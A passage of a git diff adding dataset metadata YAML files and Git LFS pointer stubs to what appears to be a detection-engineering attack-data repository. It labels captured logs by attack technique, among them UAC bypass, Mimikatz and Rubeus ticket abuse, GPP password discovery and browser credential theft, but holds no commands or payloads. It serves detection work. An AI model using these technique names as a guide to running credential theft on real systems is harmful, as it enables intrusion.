/datasets/attack_techniques/T1548/telnet/sysmon_linux-4354392c-f5e3-4f05-bd99-e91f09959701.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548/telnet/sysmon_linux-4354392c-f5e3-4f05-bd99-e91f09959701.log b/datasets/attack_techniques/T1548/telnet/sysmon_linux-4354392c-f5e3-4f05-bd99-e91f09959701.log new file mode 100644 index 000000000..ff596d081 --- /dev/null +++ b/datasets/attack_techniques/T1548/telnet/sysmon_linux-4354392c-f5e3-4f05-bd99-e91f09959701.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ec32d5a0430b4458b0c81690a4478cc2d3c6c86dc6dfb8915bd0d4ccf52aa4f8 +size 1630 diff --git a/datasets/attack_techniques/T1548/uac_bypass/T1548_uac_bypass.yml b/datasets/attack_techniques/T1548/uac_bypass/T1548_uac_bypass.yml new file mode 100644 index 000000000..ad2fc2a89 --- /dev/null +++ b/datasets/attack_techniques/T1548/uac_bypass/T1548_uac_bypass.yml @@ -0,0 +1,16 @@ +author: STRT +id: 882e63c3-7aa1-4817-9367-eec2a5d4eeb4 +date: '2026-07-11' +description: Curated attack data generated for detection NET Profiler UAC bypass +environment: attack_range +directory: uac_bypass +mitre_technique: [] +datasets: +- name: windows-sysmon2 + path: /datasets/attack_techniques/T1548/uac_bypass/windows-sysmon2-882e63c3-7aa1-4817-9367-eec2a5d4eeb4.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windows-sysmon + path: /datasets/attack_techniques/T1548/uac_bypass/windows-sysmon-882e63c3-7aa1-4817-9367-eec2a5d4eeb4.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548/uac_bypass/windows-sysmon-882e63c3-7aa1-4817-9367-eec2a5d4eeb4.log b/datasets/attack_techniques/T1548/uac_bypass/windows-sysmon-882e63c3-7aa1-4817-9367-eec2a5d4eeb4.log new file mode 100644 index 000000000..e74ce4e27 --- /dev/null +++ b/datasets/attack_techniques/T1548/uac_bypass/windows-sysmon-882e63c3-7aa1-4817-9367-eec2a5d4eeb4.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:d25c91c7e50de93eb791b571d5490bc9581e2b62c49ff44388a066d97c5c7d2b +size 2287 diff --git a/datasets/attack_techniques/T1548/uac_bypass/windows-sysmon2-882e63c3-7aa1-4817-9367-eec2a5d4eeb4.log b/datasets/attack_techniques/T1548/uac_bypass/windows-sysmon2-882e63c3-7aa1-4817-9367-eec2a5d4eeb4.log new file mode 100644 index 000000000..66d115e0f --- /dev/null +++ b/datasets/attack_techniques/T1548/uac_bypass/windows-sysmon2-882e63c3-7aa1-4817-9367-eec2a5d4eeb4.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:12712ddb461ef603eec83786ceb6b01a4387ab67b582039f84ca3186c2576f7a +size 5412 diff --git a/datasets/attack_techniques/T1550.003/mimikatz/T1550.003_mimikatz.yml b/datasets/attack_techniques/T1550.003/mimikatz/T1550.003_mimikatz.yml new file mode 100644 index 000000000..705cbe55b --- /dev/null +++ b/datasets/attack_techniques/T1550.003/mimikatz/T1550.003_mimikatz.yml @@ -0,0 +1,13 @@ +author: STRT +id: d3ea9883-21d2-4a5d-921e-28c34d52c7be +date: '2026-07-10' +description: Curated attack data generated for detection Mimikatz PassTheTicket CommandLine + Parameters +environment: attack_range +directory: mimikatz +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1550.003/mimikatz/windows-sysmon-d3ea9883-21d2-4a5d-921e-28c34d52c7be.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1550.003/mimikatz/windows-sysmon-d3ea9883-21d2-4a5d-921e-28c34d52c7be.log b/datasets/attack_techniques/T1550.003/mimikatz/windows-sysmon-d3ea9883-21d2-4a5d-921e-28c34d52c7be.log new file mode 100644 index 000000000..771ed133c --- /dev/null +++ b/datasets/attack_techniques/T1550.003/mimikatz/windows-sysmon-d3ea9883-21d2-4a5d-921e-28c34d52c7be.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:0138b8edf2a198b8a06b24a72336d41144d4ebde8e539a3bb929776734330e29 +size 5701 diff --git a/datasets/attack_techniques/T1550.003/rubeus/T1550.003_rubeus.yml b/datasets/attack_techniques/T1550.003/rubeus/T1550.003_rubeus.yml new file mode 100644 index 000000000..5cdfd0f8b --- /dev/null +++ b/datasets/attack_techniques/T1550.003/rubeus/T1550.003_rubeus.yml @@ -0,0 +1,12 @@ +author: STRT +id: d7b2f06a-28b1-43b6-857d-2d54db532fad +date: '2026-07-11' +description: Curated attack data generated for detection Rubeus Command Line Parameters +environment: attack_range +directory: rubeus +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1550.003/rubeus/windows-sysmon-d7b2f06a-28b1-43b6-857d-2d54db532fad.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1550.003/rubeus/windows-sysmon-d7b2f06a-28b1-43b6-857d-2d54db532fad.log b/datasets/attack_techniques/T1550.003/rubeus/windows-sysmon-d7b2f06a-28b1-43b6-857d-2d54db532fad.log new file mode 100644 index 000000000..0a2164ba1 --- /dev/null +++ b/datasets/attack_techniques/T1550.003/rubeus/windows-sysmon-d7b2f06a-28b1-43b6-857d-2d54db532fad.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f010af36737a853e5d795b85e3eead9455d6a3d902f9c1893eb79727d242947f +size 28880 diff --git a/datasets/attack_techniques/T1550/kerberos_tgt_request_using_rc4_encryption/T1550_kerberos_tgt_request_using_rc4_encryption.yml b/datasets/attack_techniques/T1550/kerberos_tgt_request_using_rc4_encryption/T1550_kerberos_tgt_request_using_rc4_encryption.yml new file mode 100644 index 000000000..5bd667079 --- /dev/null +++ b/datasets/attack_techniques/T1550/kerberos_tgt_request_using_rc4_encryption/T1550_kerberos_tgt_request_using_rc4_encryption.yml @@ -0,0 +1,13 @@ +author: STRT +id: 3e58b5b1-62c2-4472-a59a-93c28810eb8c +date: '2026-07-10' +description: Curated attack data generated for detection Kerberos TGT Request Using + RC4 Encryption +environment: attack_range +directory: kerberos_tgt_request_using_rc4_encryption +mitre_technique: [] +datasets: +- name: windows-xml + path: /datasets/attack_techniques/T1550/kerberos_tgt_request_using_rc4_encryption/windows-xml-3e58b5b1-62c2-4472-a59a-93c28810eb8c.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1550/kerberos_tgt_request_using_rc4_encryption/windows-xml-3e58b5b1-62c2-4472-a59a-93c28810eb8c.log b/datasets/attack_techniques/T1550/kerberos_tgt_request_using_rc4_encryption/windows-xml-3e58b5b1-62c2-4472-a59a-93c28810eb8c.log new file mode 100644 index 000000000..2faf2ca1d --- /dev/null +++ b/datasets/attack_techniques/T1550/kerberos_tgt_request_using_rc4_encryption/windows-xml-3e58b5b1-62c2-4472-a59a-93c28810eb8c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8fe76e6080ebd9418482bb5d4509bd2e7612f9521455c052f7f164c1d9087b02 +size 1174 diff --git a/datasets/attack_techniques/T1550/netexec_toolkit_usage/T1550_netexec_toolkit_usage.yml b/datasets/attack_techniques/T1550/netexec_toolkit_usage/T1550_netexec_toolkit_usage.yml new file mode 100644 index 000000000..b1225e018 --- /dev/null +++ b/datasets/attack_techniques/T1550/netexec_toolkit_usage/T1550_netexec_toolkit_usage.yml @@ -0,0 +1,13 @@ +author: STRT +id: 267d2524-f0fa-46f0-b912-b6e15a01ee92 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Process With NetExec + Command Line Parameters +environment: attack_range +directory: netexec_toolkit_usage +mitre_technique: [] +datasets: +- name: netexec_toolkit_usage + path: /datasets/attack_techniques/T1550/netexec_toolkit_usage/netexec_toolkit_usage-267d2524-f0fa-46f0-b912-b6e15a01ee92.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1550/netexec_toolkit_usage/netexec_toolkit_usage-267d2524-f0fa-46f0-b912-b6e15a01ee92.log b/datasets/attack_techniques/T1550/netexec_toolkit_usage/netexec_toolkit_usage-267d2524-f0fa-46f0-b912-b6e15a01ee92.log new file mode 100644 index 000000000..7b4fc8059 --- /dev/null +++ b/datasets/attack_techniques/T1550/netexec_toolkit_usage/netexec_toolkit_usage-267d2524-f0fa-46f0-b912-b6e15a01ee92.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:deff22330f3926265aa2d4cd93d1ee54e115637d2dc6a611f162a277ebdf07b2 +size 61135 diff --git a/datasets/attack_techniques/T1550/rubeus/T1550_rubeus.yml b/datasets/attack_techniques/T1550/rubeus/T1550_rubeus.yml new file mode 100644 index 000000000..91fa18aed --- /dev/null +++ b/datasets/attack_techniques/T1550/rubeus/T1550_rubeus.yml @@ -0,0 +1,13 @@ +author: STRT +id: f5c531a6-92d9-4a4d-beab-794075d93289 +date: '2026-07-11' +description: Curated attack data generated for detection Unknown Process Using The + Kerberos Protocol +environment: attack_range +directory: rubeus +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1550/rubeus/windows-sysmon-f5c531a6-92d9-4a4d-beab-794075d93289.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1550/rubeus/windows-sysmon-f5c531a6-92d9-4a4d-beab-794075d93289.log b/datasets/attack_techniques/T1550/rubeus/windows-sysmon-f5c531a6-92d9-4a4d-beab-794075d93289.log new file mode 100644 index 000000000..de92d0af2 --- /dev/null +++ b/datasets/attack_techniques/T1550/rubeus/windows-sysmon-f5c531a6-92d9-4a4d-beab-794075d93289.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:25dcdae9350458471ff5fa0e8127a9f8a2f7cbb763b2c4e8966b7cdcba36bda6 +size 14672 diff --git a/datasets/attack_techniques/T1552.002/autoadminlogon/T1552.002_autoadminlogon.yml b/datasets/attack_techniques/T1552.002/autoadminlogon/T1552.002_autoadminlogon.yml new file mode 100644 index 000000000..f9820e40e --- /dev/null +++ b/datasets/attack_techniques/T1552.002/autoadminlogon/T1552.002_autoadminlogon.yml @@ -0,0 +1,13 @@ +author: STRT +id: 5a2fb88f-fbda-4af3-9cb4-97bd61a0f977 +date: '2026-07-10' +description: Curated attack data generated for detection Add DefaultUser And Password + In Registry +environment: attack_range +directory: autoadminlogon +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1552.002/autoadminlogon/windows-sysmon-5a2fb88f-fbda-4af3-9cb4-97bd61a0f977.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1552.002/autoadminlogon/windows-sysmon-5a2fb88f-fbda-4af3-9cb4-97bd61a0f977.log b/datasets/attack_techniques/T1552.002/autoadminlogon/windows-sysmon-5a2fb88f-fbda-4af3-9cb4-97bd61a0f977.log new file mode 100644 index 000000000..a0daa30be --- /dev/null +++ b/datasets/attack_techniques/T1552.002/autoadminlogon/windows-sysmon-5a2fb88f-fbda-4af3-9cb4-97bd61a0f977.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:0527958a99bd4b239a74f8fd565637be3fd0a1fe2907ab8a00469d63ef4a113b +size 3894 diff --git a/datasets/attack_techniques/T1552.005/isovalent_cloud_metadata/T1552.005_isovalent_cloud_metadata.yml b/datasets/attack_techniques/T1552.005/isovalent_cloud_metadata/T1552.005_isovalent_cloud_metadata.yml new file mode 100644 index 000000000..7d48812a0 --- /dev/null +++ b/datasets/attack_techniques/T1552.005/isovalent_cloud_metadata/T1552.005_isovalent_cloud_metadata.yml @@ -0,0 +1,13 @@ +author: STRT +id: c1412640-a870-45e6-9284-aa205026d9a0 +date: '2026-07-10' +description: Curated attack data generated for detection Cisco Isovalent - Access + To Cloud Metadata Service +environment: attack_range +directory: isovalent_cloud_metadata +mitre_technique: [] +datasets: +- name: process_connect + path: /datasets/attack_techniques/T1552.005/isovalent_cloud_metadata/process_connect-c1412640-a870-45e6-9284-aa205026d9a0.log + sourcetype: cisco:isovalent:processConnect + source: not_applicable diff --git a/datasets/attack_techniques/T1552.005/isovalent_cloud_metadata/process_connect-c1412640-a870-45e6-9284-aa205026d9a0.log b/datasets/attack_techniques/T1552.005/isovalent_cloud_metadata/process_connect-c1412640-a870-45e6-9284-aa205026d9a0.log new file mode 100644 index 000000000..b5d527c87 --- /dev/null +++ b/datasets/attack_techniques/T1552.005/isovalent_cloud_metadata/process_connect-c1412640-a870-45e6-9284-aa205026d9a0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:110185c9e1aa9148f474e2669f03bc251e2f7629ede453898151815291392c34 +size 15753 diff --git a/datasets/attack_techniques/T1552.006/findstr_gpp_discovery/T1552.006_findstr_gpp_discovery.yml b/datasets/attack_techniques/T1552.006/findstr_gpp_discovery/T1552.006_findstr_gpp_discovery.yml new file mode 100644 index 000000000..fec4067fb --- /dev/null +++ b/datasets/attack_techniques/T1552.006/findstr_gpp_discovery/T1552.006_findstr_gpp_discovery.yml @@ -0,0 +1,12 @@ +author: STRT +id: 433ca3af-3a58-4c55-86c8-b385b77e8e82 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Findstr GPP Discovery +environment: attack_range +directory: findstr_gpp_discovery +mitre_technique: [] +datasets: +- name: windows-security + path: /datasets/attack_techniques/T1552.006/findstr_gpp_discovery/windows-security-433ca3af-3a58-4c55-86c8-b385b77e8e82.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1552.006/findstr_gpp_discovery/windows-security-433ca3af-3a58-4c55-86c8-b385b77e8e82.log b/datasets/attack_techniques/T1552.006/findstr_gpp_discovery/windows-security-433ca3af-3a58-4c55-86c8-b385b77e8e82.log new file mode 100644 index 000000000..c8c3b0812 --- /dev/null +++ b/datasets/attack_techniques/T1552.006/findstr_gpp_discovery/windows-security-433ca3af-3a58-4c55-86c8-b385b77e8e82.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:53be9ca7a48d305613520ea34835274506a35e717706fa23e0445ce8f6008b65 +size 2053 diff --git a/datasets/attack_techniques/T1552.006/powershell_gpp_discovery/T1552.006_powershell_gpp_discovery.yml b/datasets/attack_techniques/T1552.006/powershell_gpp_discovery/T1552.006_powershell_gpp_discovery.yml new file mode 100644 index 000000000..69b9eee2d --- /dev/null +++ b/datasets/attack_techniques/T1552.006/powershell_gpp_discovery/T1552.006_powershell_gpp_discovery.yml @@ -0,0 +1,13 @@ +author: STRT +id: 8e8b946d-25a2-4589-896b-6731f92b43f2 +date: '2026-07-11' +description: Curated attack data generated for detection Windows PowerShell Script + Block With Malicious String +environment: attack_range +directory: powershell_gpp_discovery +mitre_technique: [] +datasets: +- name: win-powershell + path: /datasets/attack_techniques/T1552.006/powershell_gpp_discovery/win-powershell-8e8b946d-25a2-4589-896b-6731f92b43f2.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1552.006/powershell_gpp_discovery/win-powershell-8e8b946d-25a2-4589-896b-6731f92b43f2.log b/datasets/attack_techniques/T1552.006/powershell_gpp_discovery/win-powershell-8e8b946d-25a2-4589-896b-6731f92b43f2.log new file mode 100644 index 000000000..76a7d6f1f --- /dev/null +++ b/datasets/attack_techniques/T1552.006/powershell_gpp_discovery/win-powershell-8e8b946d-25a2-4589-896b-6731f92b43f2.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a1a710999a7432a1c4d01e25a3f6852cbe9e93ffcb6a2f4a51fef66d04fcc9a0 +size 1848 diff --git a/datasets/attack_techniques/T1552.007/kube_audit_get_secret/T1552.007_kube_audit_get_secret.yml b/datasets/attack_techniques/T1552.007/kube_audit_get_secret/T1552.007_kube_audit_get_secret.yml new file mode 100644 index 000000000..81ba70803 --- /dev/null +++ b/datasets/attack_techniques/T1552.007/kube_audit_get_secret/T1552.007_kube_audit_get_secret.yml @@ -0,0 +1,13 @@ +author: STRT +id: 863e728a-95b0-4d98-8d72-bf0fe864d5e8 +date: '2026-07-10' +description: Curated attack data generated for detection Kubernetes Abuse of Secret + by Unusual Location +environment: attack_range +directory: kube_audit_get_secret +mitre_technique: [] +datasets: +- name: kube_audit_get_secret + path: /datasets/attack_techniques/T1552.007/kube_audit_get_secret/kube_audit_get_secret-863e728a-95b0-4d98-8d72-bf0fe864d5e8.log + sourcetype: _json + source: kubernetes diff --git a/datasets/attack_techniques/T1552.007/kube_audit_get_secret/kube_audit_get_secret-863e728a-95b0-4d98-8d72-bf0fe864d5e8.log b/datasets/attack_techniques/T1552.007/kube_audit_get_secret/kube_audit_get_secret-863e728a-95b0-4d98-8d72-bf0fe864d5e8.log new file mode 100644 index 000000000..4126f6294 --- /dev/null +++ b/datasets/attack_techniques/T1552.007/kube_audit_get_secret/kube_audit_get_secret-863e728a-95b0-4d98-8d72-bf0fe864d5e8.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a4ce2301ef2e3baf72b7f70c439b3f8de4770721f09b9d1e81370146b6cb030b +size 797 diff --git a/datasets/attack_techniques/T1552/aws_getpassworddata/T1552_aws_getpassworddata.yml b/datasets/attack_techniques/T1552/aws_getpassworddata/T1552_aws_getpassworddata.yml new file mode 100644 index 000000000..87942c61e --- /dev/null +++ b/datasets/attack_techniques/T1552/aws_getpassworddata/T1552_aws_getpassworddata.yml @@ -0,0 +1,17 @@ +author: STRT +id: 6b87c4f2-e5fb-416b-8a02-27252313c991 +date: '2026-07-10' +description: Curated attack data generated for detection ASL AWS Credential Access + GetPasswordData +environment: attack_range +directory: aws_getpassworddata +mitre_technique: [] +datasets: +- name: asl_ocsf_cloudtrail + path: /datasets/attack_techniques/T1552/aws_getpassworddata/asl_ocsf_cloudtrail-6b87c4f2-e5fb-416b-8a02-27252313c991.log + sourcetype: aws:asl + source: aws_asl +- name: aws_cloudtrail_events + path: /datasets/attack_techniques/T1552/aws_getpassworddata/aws_cloudtrail_events-6b87c4f2-e5fb-416b-8a02-27252313c991.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1552/aws_getpassworddata/asl_ocsf_cloudtrail-6b87c4f2-e5fb-416b-8a02-27252313c991.log b/datasets/attack_techniques/T1552/aws_getpassworddata/asl_ocsf_cloudtrail-6b87c4f2-e5fb-416b-8a02-27252313c991.log new file mode 100644 index 000000000..e3656d4ef --- /dev/null +++ b/datasets/attack_techniques/T1552/aws_getpassworddata/asl_ocsf_cloudtrail-6b87c4f2-e5fb-416b-8a02-27252313c991.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:dc4488fcba2364a00781a573877004e3a3b52ea725376c44cb70ee55b7c104aa +size 40040 diff --git a/datasets/attack_techniques/T1552/aws_getpassworddata/aws_cloudtrail_events-6b87c4f2-e5fb-416b-8a02-27252313c991.log b/datasets/attack_techniques/T1552/aws_getpassworddata/aws_cloudtrail_events-6b87c4f2-e5fb-416b-8a02-27252313c991.log new file mode 100644 index 000000000..ebc56bf9b --- /dev/null +++ b/datasets/attack_techniques/T1552/aws_getpassworddata/aws_cloudtrail_events-6b87c4f2-e5fb-416b-8a02-27252313c991.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:772b581c50ffd27e5cacd547aac965082f9906a1efcb0033b8a2af3a20524b92 +size 130776 diff --git a/datasets/attack_techniques/T1552/snapattack/T1552_snapattack.yml b/datasets/attack_techniques/T1552/snapattack/T1552_snapattack.yml new file mode 100644 index 000000000..18c63f52a --- /dev/null +++ b/datasets/attack_techniques/T1552/snapattack/T1552_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: 87af2a8d-b45e-4305-85e7-07541ca71cf3 +date: '2026-07-11' +description: Curated attack data generated for detection Windows LAPS Password Gathering + Via PowerShell Script +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1552/snapattack/snapattack-87af2a8d-b45e-4305-85e7-07541ca71cf3.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1552/snapattack/snapattack-87af2a8d-b45e-4305-85e7-07541ca71cf3.log b/datasets/attack_techniques/T1552/snapattack/snapattack-87af2a8d-b45e-4305-85e7-07541ca71cf3.log new file mode 100644 index 000000000..71c1dc4b9 --- /dev/null +++ b/datasets/attack_techniques/T1552/snapattack/snapattack-87af2a8d-b45e-4305-85e7-07541ca71cf3.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:cc633cd1222a71614c6fc71e878fe51bbf9ff4de4511d7d1d64fff446c5e642d +size 2180 diff --git a/datasets/attack_techniques/T1553.003/sip/T1553.003_sip.yml b/datasets/attack_techniques/T1553.003/sip/T1553.003_sip.yml new file mode 100644 index 000000000..e6ba5f0c0 --- /dev/null +++ b/datasets/attack_techniques/T1553.003/sip/T1553.003_sip.yml @@ -0,0 +1,17 @@ +author: STRT +id: baa0e03d-4b5d-4e65-9310-4673b31d2aba +date: '2026-07-11' +description: Curated attack data generated for detection Windows Registry SIP Provider + Modification +environment: attack_range +directory: sip +mitre_technique: [] +datasets: +- name: sip_windows-sysmon + path: /datasets/attack_techniques/T1553.003/sip/sip_windows-sysmon-baa0e03d-4b5d-4e65-9310-4673b31d2aba.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: capi2-operational + path: /datasets/attack_techniques/T1553.003/sip/capi2-operational-baa0e03d-4b5d-4e65-9310-4673b31d2aba.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-CAPI2/Operational diff --git a/datasets/attack_techniques/T1553.003/sip/capi2-operational-baa0e03d-4b5d-4e65-9310-4673b31d2aba.log b/datasets/attack_techniques/T1553.003/sip/capi2-operational-baa0e03d-4b5d-4e65-9310-4673b31d2aba.log new file mode 100644 index 000000000..a9ceb6021 --- /dev/null +++ b/datasets/attack_techniques/T1553.003/sip/capi2-operational-baa0e03d-4b5d-4e65-9310-4673b31d2aba.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ea47747f2f4eb388f00c52541c000237be5e9c262399a1da473a1adca99db0da +size 2214 diff --git a/datasets/attack_techniques/T1553.003/sip/sip_windows-sysmon-baa0e03d-4b5d-4e65-9310-4673b31d2aba.log b/datasets/attack_techniques/T1553.003/sip/sip_windows-sysmon-baa0e03d-4b5d-4e65-9310-4673b31d2aba.log new file mode 100644 index 000000000..af0507ece --- /dev/null +++ b/datasets/attack_techniques/T1553.003/sip/sip_windows-sysmon-baa0e03d-4b5d-4e65-9310-4673b31d2aba.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3f7a9be54bce638a9d2837201d6d2c04f7e335cf369251e761a046ac687d8d59 +size 24960 diff --git a/datasets/attack_techniques/T1553.005/mark_of_the_web_bypass/T1553.005_mark_of_the_web_bypass.yml b/datasets/attack_techniques/T1553.005/mark_of_the_web_bypass/T1553.005_mark_of_the_web_bypass.yml new file mode 100644 index 000000000..a15bb9bb6 --- /dev/null +++ b/datasets/attack_techniques/T1553.005/mark_of_the_web_bypass/T1553.005_mark_of_the_web_bypass.yml @@ -0,0 +1,12 @@ +author: STRT +id: 0145edd1-c33b-46bb-84ca-67bbc6ba8277 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Mark Of The Web Bypass +environment: attack_range +directory: mark_of_the_web_bypass +mitre_technique: [] +datasets: +- name: possible-motw-deletion + path: /datasets/attack_techniques/T1553.005/mark_of_the_web_bypass/possible-motw-deletion-0145edd1-c33b-46bb-84ca-67bbc6ba8277.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1553.005/mark_of_the_web_bypass/possible-motw-deletion-0145edd1-c33b-46bb-84ca-67bbc6ba8277.log b/datasets/attack_techniques/T1553.005/mark_of_the_web_bypass/possible-motw-deletion-0145edd1-c33b-46bb-84ca-67bbc6ba8277.log new file mode 100644 index 000000000..fffa178d0 --- /dev/null +++ b/datasets/attack_techniques/T1553.005/mark_of_the_web_bypass/possible-motw-deletion-0145edd1-c33b-46bb-84ca-67bbc6ba8277.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2e59c1c3f9ddae8abf05be07d7b00048e606e1e57bf7bd96c7d5499eea755c55 +size 2656 diff --git a/datasets/attack_techniques/T1553.005/msix_unsigned/T1553.005_msix_unsigned.yml b/datasets/attack_techniques/T1553.005/msix_unsigned/T1553.005_msix_unsigned.yml new file mode 100644 index 000000000..d908160cc --- /dev/null +++ b/datasets/attack_techniques/T1553.005/msix_unsigned/T1553.005_msix_unsigned.yml @@ -0,0 +1,13 @@ +author: STRT +id: 8eacda30-4289-4049-bfea-a657f7062c5a +date: '2026-07-11' +description: Curated attack data generated for detection Windows PowerShell MSIX Package + Installation +environment: attack_range +directory: msix_unsigned +mitre_technique: [] +datasets: +- name: windows-powershell + path: /datasets/attack_techniques/T1553.005/msix_unsigned/windows-powershell-8eacda30-4289-4049-bfea-a657f7062c5a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1553.005/msix_unsigned/windows-powershell-8eacda30-4289-4049-bfea-a657f7062c5a.log b/datasets/attack_techniques/T1553.005/msix_unsigned/windows-powershell-8eacda30-4289-4049-bfea-a657f7062c5a.log new file mode 100644 index 000000000..1172b8813 --- /dev/null +++ b/datasets/attack_techniques/T1553.005/msix_unsigned/windows-powershell-8eacda30-4289-4049-bfea-a657f7062c5a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:0ff33bb4361030b4fb2fd71dbc9c5199f44ac9052e7ddcfbcf2facc36f948649 +size 3865 diff --git a/datasets/attack_techniques/T1554/circle_ci_disable_security_job/T1554_circle_ci_disable_security_job.yml b/datasets/attack_techniques/T1554/circle_ci_disable_security_job/T1554_circle_ci_disable_security_job.yml new file mode 100644 index 000000000..ab15e3dd9 --- /dev/null +++ b/datasets/attack_techniques/T1554/circle_ci_disable_security_job/T1554_circle_ci_disable_security_job.yml @@ -0,0 +1,13 @@ +author: STRT +id: a5cad970-f272-41a4-911a-866dd8aa0813 +date: '2026-07-10' +description: Curated attack data generated for detection Circle CI Disable Security + Job +environment: attack_range +directory: circle_ci_disable_security_job +mitre_technique: [] +datasets: +- name: circle_ci_disable_security_job + path: /datasets/attack_techniques/T1554/circle_ci_disable_security_job/circle_ci_disable_security_job-a5cad970-f272-41a4-911a-866dd8aa0813.log + sourcetype: circleci + source: circleci diff --git a/datasets/attack_techniques/T1554/circle_ci_disable_security_job/circle_ci_disable_security_job-a5cad970-f272-41a4-911a-866dd8aa0813.log b/datasets/attack_techniques/T1554/circle_ci_disable_security_job/circle_ci_disable_security_job-a5cad970-f272-41a4-911a-866dd8aa0813.log new file mode 100644 index 000000000..688701419 --- /dev/null +++ b/datasets/attack_techniques/T1554/circle_ci_disable_security_job/circle_ci_disable_security_job-a5cad970-f272-41a4-911a-866dd8aa0813.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:82ef2666205bdbaac68ab86f3a33e38d43e90774108387ec85d686584451d267 +size 21462 diff --git a/datasets/attack_techniques/T1555.003/browser_credential_info_temp/T1555.003_browser_credential_info_temp.yml b/datasets/attack_techniques/T1555.003/browser_credential_info_temp/T1555.003_browser_credential_info_temp.yml new file mode 100644 index 000000000..560581e05 --- /dev/null +++ b/datasets/attack_techniques/T1555.003/browser_credential_info_temp/T1555.003_browser_credential_info_temp.yml @@ -0,0 +1,13 @@ +author: STRT +id: 7d3a9a5a-c686-48b3-b0f6-f19cb14f5024 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Credentials from + Password Stores Chrome Copied in TEMP Dir +environment: attack_range +directory: browser_credential_info_temp +mitre_technique: [] +datasets: +- name: braodo_browser_info + path: /datasets/attack_techniques/T1555.003/browser_credential_info_temp/braodo_browser_info-7d3a9a5a-c686-48b3-b0f6-f19cb14f5024.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1555.003/browser_credential_info_temp/braodo_browser_info-7d3a9a5a-c686-48b3-b0f6-f19cb14f5024.log 